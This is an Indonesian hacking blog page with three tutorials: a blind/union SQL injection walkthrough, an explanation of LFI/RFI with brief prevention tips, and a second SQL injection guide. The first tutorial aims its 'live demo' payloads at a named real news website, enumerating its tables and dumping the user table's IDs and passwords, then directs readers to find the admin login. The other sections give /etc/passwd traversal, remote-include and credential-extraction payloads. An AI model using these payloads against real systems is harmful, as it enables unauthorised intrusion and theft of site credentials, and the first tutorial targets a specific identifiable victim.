Minggu, Januari 11, 2009

Blind SQL Injection

~~Oleh : Selalu_ngantuk~~

sepintas tekhnik ini sama dengan tekhnik SQL pada umumnya...

Pengertian sql injection:
SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi clien dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.

Yang perlu di ketahui sebelum sql injection pada mysql:
karakter: ' atau -
comments: /* atau --



###################
## +step Satu+ ##
###################

carilah target
misal: [site]/berita.php?id=

disini saya memilih :

http://www.lampungpost.com/aktual/berita.php?id=12

Tambahkan karakter ' pada akhir url atau menambahkan karakter "-" untuk melihat apakah ada pesan error.
contoh: [site]/berita.php?id=100' atau
[site]/berita.php?id=-100

contoh :
http://www.lampungpost.com/aktual/berita.php?id=-12

sehingga muncul pesan error .

###################
## +step dua+ ##
###################

mencari dan menghitung jumlah table yang ada dalam databasenya...

seperti yang kita ketahui bersama pada SQL injection untuk menghitung jumlah table pada databasenya
menggunakan perintah : order by

contoh :
[site]/berita.php?id=-12 order by 1--
[site]/berita.php?id=-12 order by 2--

livedemo :
http://www.lampungpost.com/aktual/berita.php?id=-12 order by 1--
http://www.lampungpost.com/aktual/berita.php?id=-12 order by 2--

hingga muncul pesan error...

namun untuk kasus tertentu order by tidak dapat digunakan ...

pada blind SQL kita dapat mengetahui jumlah table yang ada dengan cara Melakukan column count !!!

contoh melakuan column count :

union select diikuti dengan angka.

maka: [site]/berita.php?id= union select 1/*
maka: [site]/berita.php?id= union select 1,2/*
maka: [site]/berita.php?id= union select 1,2,3/*

hingga keluar angka pada tampilan web target

livedemo:
maka: http://www.lampungpost.com/aktual/berita.php?id=-12 union select 1,2,3,4,5,6,7,8,9/*

ternyata yang keluar sampai angka 9
ok angka yg keluar angka 9 dan 2

###################
## +step tiga+ ##
###################

menampilkan table...

pada SQL injection untuk menampilkan table adalah memasukkan perintah group_concat(table_name) pada angka yg keluar tadi
dan perintah +from+information_schema.tables+where+table_schema=database() setelah angka terakhir

contoh :
[site]/berita.php?id=-12+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema.tables+where+table_schema=database()--

livedemo :
http://www.lampungpost.com/aktual/berita.php?id=-12 union select 1,2,3,4,5,6,7,8,group_concat(table_name)+from+information_schema.tables+where+table_schema=database()----

jika gagal kita dapat mengganti querynya

query yang kita gunakan adalah : union select table_name from information_schema.tables where table_schema=database() limit 0,1

masukan "table_name" pada angka yang keluar (9 atau 2) diikuti "from information_schema.tables where table_schema=database() limit 0,1"

menjadi , [site]/berita.php?id=-12 union select 1,table_name,3,4,5,6,7,8,9 FROM information_schema.tables where table_schema=database() limit 0,1/*

disini saya menggunakan 2.

livedemo:
http://www.lampungpost.com/aktual/berita.php?id=-12 union select 1,table_name,3,4,5,6,7,8,9 FROM information_schema.tables where table_schema=database() limit 0,1/*

####################
## +step empat+ ##
####################

mengeluarkan table_name yang lain.

untuk mengeluarkan table_name yang lain ganti nilai limit menjadi , 1,1 , 2,1 , 3,1 ....

hingga mendapatkan table yang kita inginkan !!!

[site]/berita.php?id=-12 union select 1,table_name,3,4,5,6,7,8,9 FROM information_schema.tables where table_schema=database() limit 1,1/*
[site]/berita.php?id=-12 union select 1,table_name,3,4,5,6,7,8,9 FROM information_schema.tables where table_schema=database() limit 2,1/*
[site]/berita.php?id=-12 union select 1,table_name,3,4,5,6,7,8,9 FROM information_schema.tables where table_schema=database() limit 3,1/*

live demo:
http://www.lampungpost.com/aktual/berita.php?id=-12 union select 1,table_name,3,4,5,6,7,8,9 FROM information_schema.tables where table_schema=database() limit 1,1/*
http://www.lampungpost.com/aktual/berita.php?id=-12 union select 1,table_name,3,4,5,6,7,8,9 FROM information_schema.tables where table_schema=database() limit 2,1/*

dan hasilnya :
1,1 : aktual_berita
2,1 : aktual_kategori
3,1 : berita
4,1 : category
5,1 : iklan
10,1: user

dan tabel yang kita butuhkan ada pada limit 10,1 ( user )

###################
## +step lima+ ##
###################

ada tahap ini kamu wajib mengekstrax kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya

website yg digunakan untuk konversi :
http://ascii-convert.tk/

kata user menjadi : 75736572

maka :
[site]/berita.php?id=-12 union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=user limit 0,1/*
menjadi
[site]/berita.php?id=-12 union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=0x75736572 limit 0,1/*

livedemo :
http://www.lampungpost.com/aktual/berita.php?id=-12 union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=0x75736572 limit 0,1/*

untuk mengetahui isi pada table user anda dapat mengganti nilai limit :
[site]/berita.php?id=-12 union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=0x75736572 limit 0,1/*
[site]/berita.php?id=-12 union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=0x75736572 limit 1,1/*

live demo:
http://www.lampungpost.com/aktual/berita.php?id=-12 union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=0x75736572 limit 0,1/*
http://www.lampungpost.com/aktual/berita.php?id=-12 union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=0x75736572 limit 1,1/*

dan hasilnya :
0,1 : userid
1,1 : password
1,2 : description
1,3 : auth

* Setiap bilangan hexa harus di tambah 0x
contoh : bilangan hexa dari indonesiacoder = 696E646F6E65736961636F646572
bila di gunakan akan menjadi = 0×696E646F6E65736961636F646572

###################
## +step enam+ ##
###################

mengeluarkan field .

query yang kita gunakan adalah : UNION SELECT column_name FROM table_name

column_name :userid, password
table_name :user

masukan column_name pada angka yang keluar kemudian FROM table_name

menjadi,
[site]/berita.php?id=-12 union select 1,column_name,3,4,5,6,7,8,9 from table_name/*

contoh
[site]/berita.php?id=-12 union select 1,password,3,4,5,6,7,8,9 from user/*

live demo:
karena angka yang keluar 2 dan 9 maka ,

http://www.lampungpost.com/aktual/berita.php?id=-1 union select 1,password,3,4,5,6,7,8,userid from user/*

http://www.lampungpost.com/aktual/berita.php?id=-12 union select 1,concat(userid,0x3a,password,0x3a,description),3,4,5,6,7,8,9 from user/*

* Mengunakan Concatenation

Concatenation adalah kondisi dimana kamu ingin mengeluarkan field dengan banyak colomn_name atau karna kurangnya angka yang keluar saat blind union. untuk string Concatenation pada mysql adalah CONCAT(A,B,C,...)

contoh:
kondisi kurangnya angka yang keluar saat blind union.
column_name : userid, password, description
table_name :user
angka yang keluar: 2 dan 9

bagaimana kita mengeluarkan field dengan 3 column_name sedangkan angka yang keluar hanya 2 (2 dan 9), jawabanya menggunakan concat() tadi.

http://www.lampungpost.com/aktual/berita.php?id=-12 union select 1,concat(0x3a,userid,password,description),3,4,5,6,7,8,9 from user/*

###################
## +step enam+ ##
###################

tahap terakhir mencari halaman admin atau login

thanks to : Paman , X-shadow , gonzhack , dontukulesto , M364TR0N , Cyb3R_tr0n , bayu5154 , tucker , petrucii , M3NW5 , Mr.Joker , #00000 , miSs cHerCut
Spesial thanks to : INDONESIACODER CREW , DEFACER.BIZ CREW , PAGUNCODING CREW

Baca Selengkapnya

Bug RFI & LFI, serta pencegahannya

Author : cr4wl3r
Email : cr4wl3r[at]linuxmail[dot]org
Website : www.defacer.biz

-> [Gambaran singkat ]<

Sebelumnya apa sih LFI dan RFI itu??
LFI (Local File Inclusion) adalah sebuah lubang pada site di mana attacker bisa mengakses semua file di dalam server dengan hanya melalui URL.
RFI (Remote File Inclusion) adalah sebuah lubang dimana site mengizinkan attacker meng-include-kan file dari luar server.

-> [Penjelasan ]<

fungsi-fungsi yang dapat menyebabkan LFI/RFI:
include();
include_once();
require();
require_once();



Dengan syarat pada konfigurasi php di server:
allow_url_include = on
allow_url_fopen = on
magic_quotes_gpc = off

contoh:
misalkan kita punya file index.php dengan content kodenya seperti ini,

Code:
include "../$_GET[framefile]";
?>

misal $framefile=main.php
mungkin di url akan terlihat seperti ini bentuknya
http://www.[target].com/index.php?framefile=main.php
maka script ini akan menampilkan halaman main.php.

nah disini attacker akan dapat melakukan LFI karena variable framefile di include begitu saja tanpa menggunakan filter.
misalnya attacker ingin mengakses file passwd yang ada pada server, maka dia akan mencoba memasukan seperti ini ../../../../../../../../../etc/passwd << dengan jumlah "../" itu tergantung dari kedalaman folder tempat file index.php tersebut.. dengan begitu isi file passwd akan ditampilkan di browser.
kita bisa menggunakan metode menebak struktur folder dalam website target ^^

tapi seandainya terdapat error seperti di bawah ini:

Warning: main(../../../../../../../../../etc/passwd.php) [function.main]: failed to open stream: No such file or directory in /their/web/root/index.php on line 2
liat pada passwd ternyata dia ditambah dengan extensi ".php" berarti code yang digunakan untuk include adalah seperti ini

Code:
include($_GET[framefile].".php";
?>

nah untuk dapat mengelabui script tersebut kita bisa menggunakan (dengan syarat magic_quotes_gpc = off) jadi dibelakang /etc/passwd kita tambahkan seperti

http://www.[target].com/index.php?framefile=../../../../../../../../../etc/passwd

lalu untuk apa ? yaitu untuk menghilangkan karakter apapun setelah passwd.
* ini disebut null injection.

Nah kita sudah menemukan bug LFI pada website target, sekarang kita coba cari bug RFI dengan menambahkan link file remote (dari luar website) pada variable framefile. misalnya:

http://www.[target].com/index.php?framefile=http://www.[remote].com/script.txt

dengan file script.txt misal berisi "hacked by cHer"

jika ternyata di browser menampilkan kalimat tersebut berarti website tersebut vulner terhadap bug RFI juga.

-> [Pencegahan ]<

Nah sekarang saatnya untuk pencegahan kedua bug tersebut, yaitu

1. Memvalidasi variable.

2. Mengkonfigurasi kembali settingan php pada server website Anda.
allow_url_include = off
allow_url_fopen = off
magic_quotes_gpc = on

3. pada include mungkin bisa ditambahkan "./"
jadinya seperti ini,

include("./"$_GET[framefile].".php";

maksudnya dengan seperti itu, saat kita mengakses file dari luar server maka hasilnya akan error karena saat pemrosesan setiap file yang masuk ke variable page akan ditambah ./ di depannya.

http://www.[target].com/index.php?framefile=http://www.[remote].com/script.txt

dengan seperti ini server atau website yang diinject akan mencari file http://www.[remote].com/script.txt dan pastinya akan menyebabkan server menampilkan error bahwa tidak ditemukannya file tsb.

- [Sekian ]<

Mudah-mudahan artikel ini bisa menambah pengetahuan kita.
------------------------------------------------------------------------------

Baca Selengkapnya

Sql Injection Ver. 5

Untuk mencari ada atau tidak bugnya sebenernya ada di artikel sebelumnya, juga standar pencarian union, gue cuma nambahin sedikit aja, jadi gue copy paste aje ye

1.) Cek Kutu
Misalkan kita mendapatkan target
http://www.target.com/news.php?id=5
Sekarang kita test ada kutunya g tuh website dengan menambahkan di url?
contoh http://www.target.com/news.php?id=5′
maka akan muncul error
?You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc??
Atau Yang mendekati
Itu berarti kita bisa gunakan Sql Injection



2). Mencari nomor dari kolom
Untuk mencari nomor dari kolom kita menggunakan perintah ORDER BY
Kita melakukan perurutan nomor sampai ada error
http://www.target.com/news.php?id=5+order+by+1/* http://www.target.com/news.php?id=5+order+by+2/* http://www.target.com/news.php?id=5+order+by+3/* http://www.target.com/news.php?id=5+order+by+4/* Berarti kita mendapatkan kolomnya, ya itu 3, karena di 4 error.
Sedikit penjelasan, dalam penggunaan ORDER BY kita mencari pertemuan dimana website itu menjadi error dan tidak, setelah itu mendapatkannya, kita ambil yg tidak erorr terakhir sebelum keluar error.

3). Menggunakan fungsi UNION
Dengan menggunakan UNION kita dapat memilih lebih banyak data dalam satu statemen sql.
Jadi kita mendapatkan
http://www.target.com/news.php?id=5+...SELECT+1,2,3/* (kita telah menemukan bahwa nomor dari kolom-kolom adalah 3 di dalam bagian 2)
Sekarang lihat pada artikel, artikelnya akan berubah jadi nomor 1 atau 2 atau 3 atau keluar semuanya, itu lah gunanya UNION

4). Check versi dari MySQL
http://www.target.com/news.php?id=5+...select+1,2,3/*
NOTE: jika /* tidak bisa atau terjadi error, coba dengan ?
ini merupakan suatu komentar penting bagi query kita untuk bekerja dengan baik.
Misalkan kita mendapatkan nomor 2 di dalam tampilan, sekarang kita cek verisinya
kita buang nomor 2, ganti dengan version() atau @@version nanti akan mendapatkan seperti 4.1.33-log atau 5.0.45 atau yang mendekati.
Contoh tampilan : http://www.target.com/news.php?id=5+...,@@version,3/*
Jika kamu mendapatkan error ?union + illegal mix of collations (IMPLICIT + COERCIBLE) ??
Yang kita butuhkan adalah fungsi convert()
contoh :
http://www.target.com/news.php?id=5+...ng+latin1),3/*
atau dengan hex() dan unhex()
contoh :
http://www.target.com/news.php?id=5+...@version)),3/*
dan kamu akan mendapatan versi MySql

5). Mendapatkan table dan nama column
Jika versi MySQL adalah 5 (contoh : 5.0.45, 5.0.51a-community?)
? Mencari Table
Contoh Nomor yang keluar ada 2, jadi kita masukan perintah injekan di nomor 2
http://www.target.com/news.php?id=5+...()+limit+0,1/*
Untuk melihat table selanjutnya kita rubah limit+0,1/* menjadi limit+1,1/* lalu limit+2,1/* dst.
Sampai tabel yang dinginkan, contoh table admin
? Mencari Column
Sekarang kita cari column pada table admin
http://www.target.com/news.php?id=5+...n?+limit+0,1/*
Setandarnya bisa menggunakan itu jika quotenya off, tetapi jika quote on nama table harus di encode dengan hexa
admin = 61646D696E
Untuk dapat di baca oleh perintah SQL, harus di tambahakan 0x sihingga menjadi 0?61646D696E
http://www.target.com/news.php?id=5+...6E+limit+0,1/*
Untuk melihat colum selanjutnya tinggal merubah limitnya seperti table diatas.
Contoh column yang keluar username dan password
Sekarang kita lihat datanya
http://www.target.com/news.php?id=5+...3+from+admin/*
Contoh data yang keluar : admin
http://www.target.com/news.php?id=5+...3+from+admin/*
Contoh data yang keluar : p45w0rd
sekarang kita harus menyelesaikan query biar terlihat bagus
untuk itu kita menggunakan fungsi concat() (merupakan penggabungan strings)
contoh :
http://www.target.com/news.php?id=5+...3+from+admin/*
catatan : 0?3a, adalah nilai hex dari 3a, sedangkan 0x merupakan tambahan untuk dapat di baca oleh URL
(ada cara lain untuk itu dengan menggunakan, char(5, merupakan dari nilai decimal )
http://www.target.com/news.php?id=5+...3+from+admin/*
Maka akan muncul tampilan data : admin45w0rd

Baca Selengkapnya